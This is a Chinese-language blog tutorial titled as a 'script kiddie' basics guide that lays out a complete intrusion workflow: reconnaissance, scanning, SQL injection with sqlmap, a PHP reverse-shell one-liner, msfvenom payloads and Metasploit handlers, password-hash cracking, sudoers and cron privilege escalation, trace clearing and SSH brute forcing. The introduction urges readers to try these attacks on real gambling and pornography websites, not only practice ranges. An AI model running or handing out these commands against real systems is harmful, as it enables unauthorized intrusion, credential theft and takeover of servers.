Script-Kiddies-Base-1

脚本小子-基础一篇达

本文 主要是 脚本小子操作的思路,如果要尝试去搜一些博彩、黄色网站进行尝试

学习前知识了解(不需要深入,只需要能够看懂)

1. SQL Language
2. 至少了解一种编程语言:Python、C、C++、Java
3. 前端相关的语言:HTML、JS
4. 会使用浏览器的 F12 开发者工具,查看浏览网站的传输过来的 HTML 信息、网络传输的文件
5. 对于网络、端口、防火墙 有基本认识
6. 对于 Linux 的常用命令要熟悉:find、cd、ls、apt...
7. 对于 url 链接调用要会用:curl、postman...

环境及工具说明

1. kali 2022.3 ,建议把初始的软件都 update
2. 如果攻击的是外网的博彩、黄色 ,建议配置内网穿透 ,或者弄一台云主机

靶场平台说明(当然你也可以自己搭建靶场环境,不使用别人集成好的环境)

vulhub 靶场 : 在搭建过程中 拉取 docker images 镜像太慢了, 我目前没有好的解决办法

渗透的总体流程(脚本小子思路)

1. 进行信息搜集,本文主要还是以服务器暴露出来的信息为主,使用各种工具进行服务器网站的扫描获取有用的信息。
2. 获取到信息后,搜索对应的软件在 漏洞利用数据库里有没有利用的代码
3. 获取利用代码,进行利用
4. 查找服务器信息,利用各种漏洞进行提权

那么开始渗透吧!!!!

信息收集

第一步:网站域名信息搜集

nslookup DNS 信息收集

1
nslookup www.baidu.com

dig 查看域名信息

1
dig www.baidu.com

dig 查找子域名信息

1
dig +trace www.baidu.com

whois 查看域名的证书等等(不过没啥用)

1
whois www.baidu.com

dns 爆破

1
2
3
4
5
6
7
8
9
10
11
fierce --dns-servers 8.8.8.8 --domain baidu.com
# -f 后面跟的是要爆破的域名数据文件, -O 后面跟的是导出的文件
dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 -0 outdns.txt
# -W 后面跟的是 DNS 的字典文件

dnsmap baidu.com -W dns.txt
# -D 后面跟的是 DNS 的字典文件

dnsrecon -d www.baidu.com -lifetime 10 -t brt -D dnsbig.txt

dnsrecon -t std -d www.baidu.com

百度、google 等搜索引擎查看

这边就不列出来了,谁还不会搜索呢?

使用网络空间搜索引擎

www.zoomeye.org
showdan.io
fofa.so
fofa.info

第二步:端口扫描获取信息

简单的 nmap tcp 扫描(这一步我们是要确认靶机开了那些 TCP 端口)

1
sudo nmap --min-rate 10000 -p- 192.168.10.1

简单的 nmap udp 扫描 (虽然一般性这个利用不到,但是不能错过任何一个获取信息的机会)

1
sudo nmap -sU --min-rate 10000 -p- 192.168.10.1

详细的 nmap tcp 扫描(这个时候我们要指定之前扫到的端口)

1
sudo nmap -sT -sV -O -p22,80 192.168.10.1

脚本 nmap 扫描,查看端口是否有漏洞

1
sudo nmap --script=vuln -p22,80 192.168.10.1

如果脚本的扫描很慢,需要指定某些脚本

nmap 脚本存放位置

1
/usr/share/nmap/scripts

nmap 脚本库更新操作

1
sudo nmap --script-updatedb
脚本名称 用途
auth 可以对目标主机或目标主机所在的网段应用弱口令检测
brute 可对数据库,smb,snmp等进行简单密码的暴力猜解
vuln 可以检查目标主机或网段是否存在常见的漏洞
broadcast 探测局域网内更多服务开启的情况

对 WEB应用防火墙 识别

1
2
3
wafw00f -l
wafw00f http://www.microsoft.com
nmap www.microsoft.com --script=http-waf-detect.nse

第三步:Web 服务目录爆破(获得目录信息)

附:那些文件名比较敏感

1
2
3
参考 github 别人总结好的库:https://github.com/carlospolop/Auto_Wordlists
库中列出文件名的文件
file_inclusion_linux.txt、file_inclusion_windows.txt

dirb 进行目录爆破

1
sudo dirb http://192.168.10.1

这时候我们的思路如下:

1、另一个目录爆破软件进行再次爆破,
2、考虑将爆破的频率降低
3、可能对方服务器走的是反代,那么进行尝试添加反代操作

使用 gobuster 进行爆破

1
sudo gobuster dir -u http://192.168.10.1 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt

将爆破速度降低(这边我速度降低到 100ms)

1
sudo dirb http://192.168.10.1 -z 100

使用反代进行爆破(这边我的反代是 192.168.10.1:3333)

1
sudo dirb http://192.168.10.1 -p http://192.168.10.1:3333

第四步:使用工具查看是否有 SQL 注入漏洞

1
2
# 手动尝试的话,需要在正常的 url 或者输入框中添加下述信息,也就是截断前面的 SQL 添加信息的 SQL
'or 1=1 --

我使用 sqlmap 进行尝试(找到对应的链接进行尝试)

1
sudo sqlmap -u 'http://192.168.10.1/index.html' --dbs --dump --batch

进行渗透

思路说明

1、如果有 SQL 注入漏洞

1. 那么就可以想办法获得应系统的用户密码,如果之前扫描的时候找到了对应的应用程序,可以去 Github、Gitee 等开源网站找找数据库的表结构
2.当获得加密的用户后可以使用暴力破解工具尝试破解密码
3.如果 系统存在文件上传,那么把反弹 shell 脚本上传上去,之后访问上传的反弹 shell
4.之后我们可以连接到服务器上

2、如果存在文件上传漏洞

1.如果有文件上传漏洞,那么也是可以把反弹shell上传上去,之后利用

3、searchsploit 命令 或者 metasploit 中的 search 命令 查看上述获得应用软件版本是否存在漏洞了利用

1、也是想办法连接到对应服务器,或者把反弹shell进行利用
2、或者一些直接获得系统权限并登录的 漏洞利用这个就更简单了

4、如果是 wordpress 系统,那么突破的可能性就更大了

1、 kali 有 wordpress 专门扫描的工具:wpscan
2、利用 wordpress 漏洞 将反弹 shell 上传并利用

5、常见的漏洞利用

1、如果是 Linux,尝试有没有 shellshock 漏洞(本漏洞在 bash 4.3 就有可能存在)
2、如果是 Windows,看看 永恒之蓝 是否可以利用

6、到最后实在没有办法,那么就使用 ssh 暴力破解 或者 rdp 暴力破解吧,如果没有端口服务,那么脚本小子只能下班收工了

漏洞库说明

1
2
3
4
# 国际通用漏洞库
https://www.cvedetails.com/
# searchsploit 命令搜索的漏洞库
https://www.exploit-db.com/

关于 反弹 shell 的获得

1、手写简单反弹 shell

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/1234 0>&1'"); ?>

2、kali 自带的一些 反弹 shell

1
tree /usr/share/webshells

3、metasploit 中的反弹 shell

1
msfvenom --list payloads | grep reverse

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.1 lport=1234 -f exe > shell.exe

反弹 shell 建立连接

方式一:非 metasploit

1
nc -lvnp 1234

方式二:metasploit

1
2
3
4
5
6
7
8
9
10
11
12
# 进入 metasploit
msfconsole
# 加载模块
use exploit/multi/handler
# 修改为我们之前生成木马使用的 payload
set payload php/meterpreter/reverse_tcp
# 配置本地 kali 监听的 ip
set lhost 192.168.10.1
# 配置本地 kali 监听的 端口
set lport 1234
# 启动
run

meterpreter 一些基础命令说明

命令 说明
sysinfo 查看目标机系统信息
getuid 查看用户
pwd/getIwd 查看当前目录
cd/Icd 切换目录
background 把当前会话放到后台
sessions -i id 切换到指定会话
sessions -k id 杀死指定会话
shell 进入目标主机 shell
upload file 向目标主机上传文件
download file 从目标主机下载文件
search 在目标主机上搜索文件 search -f test
execute 在目标主机执行程序 execute -H -i -f cmd.exe
getsystem 提权
clearev 清楚痕迹

关于加密字符串密码破解

1、使用 hash-identifier 工具 判断加密类型

1
hash-identifier [加密后的密码字符串]

2、密码字典破解命令

1
sudo hashcat -m 0 -a 0 [hash后的密码字符串] [密码字典]

关于 Linux shadow 密码破解

生成 shadow 密码破解文件

1
unshadow /etc/passwd /etc/shadow > password.txt

使用 john 进行密码爆破

1
sudo john password.txt --wordlist=/usr/share/wordlists/rockyou.txt

关于 Python 提高 shell 的交互性

使用包管理命令,查看是否安装 python 包

1
dpkg -l | grep python

python 提高 shell 交互性

1
python -c 'import pty;pty.spawn("/bin/bash")'

Sudoers 的几种提权思路

方式1:

sudo -l 查看是由存在 sudo 权限命令

1
sudo -l

如果存在 mv 命令那么可以尝试进行提权

1
sudo mv /bin/su /bin/tar

提权

1
sudo tar

方式2:

查看是否存在定时脚本

1
crontab -l

利用脚本把当前用户的信息写入 /etc/sudoers 中

1
2
echo 'username    ALL=(ALL:ALL) ALL
' > /etc/sudoers

Shellshock 漏洞查看命令

1
env x='() { :; }; echo "It is vulnerable"' bash -c date

Wordpress 工具 wpscan

漏洞扫描

1
sudo wpscan --url https://www.collshell.cn

wordpress 密码爆破

1
wpscan --url 192.168.10.1/wordpress -U admin -P /root/password.txt

ssh 公私密钥提权操作

查看靶机登录用户是否有配置 ssh 公私密钥

1
cat .ssh/authorized_keys

查看 prng 是否有漏洞利用*

1
searchsploit prng

下载脚本

1
searchsploit prng -m 5622

查看 脚本

获取脚本所依赖的密钥对库,解压密钥库后,用 ls命令进行密钥碰撞,也就是查找 authorized_keys 前30位不到的前缀

利用 ssh 登录

1
ssh -i [密钥文件] [用户名]@[ip地址]

SSH 暴力破解

Crackmapexec

1
sudo crackmapexec ssh 192.168.10.1 -p password.txt -u users.txt --continue-on-success

Hydra

1
hydra -L username.txt -P password.txt 192.168.10.1 ssh

medusa

1
medusa -M ssh -h 192.168.10.1 -u root -P password.txt

metasploit 中存在 ssh 插件

1
2
3
4
5
6
msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.10.1
set PASS_FILE password.txt
set USER_FILE username.txt
exploit
Contents
  1. 1. 脚本小子-基础一篇达
    1. 1.1. 学习前知识了解(不需要深入,只需要能够看懂)
    2. 1.2. 环境及工具说明
    3. 1.3. 靶场平台说明(当然你也可以自己搭建靶场环境,不使用别人集成好的环境)
    4. 1.4. 渗透的总体流程(脚本小子思路)
    5. 1.5. 那么开始渗透吧!!!!
      1. 1.5.1. 信息收集
        1. 1.5.1.1. 第一步:网站域名信息搜集
        2. 1.5.1.2. 第二步:端口扫描获取信息
        3. 1.5.1.3. 第三步:Web 服务目录爆破(获得目录信息)
        4. 1.5.1.4. 第四步:使用工具查看是否有 SQL 注入漏洞
      2. 1.5.2. 进行渗透
        1. 1.5.2.1. 思路说明
        2. 1.5.2.2. 漏洞库说明
        3. 1.5.2.3. 关于 反弹 shell 的获得
        4. 1.5.2.4. 反弹 shell 建立连接
        5. 1.5.2.5. 关于加密字符串密码破解
        6. 1.5.2.6. 关于 Linux shadow 密码破解
        7. 1.5.2.7. 关于 Python 提高 shell 的交互性
        8. 1.5.2.8. Sudoers 的几种提权思路
        9. 1.5.2.9. Shellshock 漏洞查看命令
        10. 1.5.2.10. Wordpress 工具 wpscan
        11. 1.5.2.11. ssh 公私密钥提权操作
        12. 1.5.2.12. SSH 暴力破解
|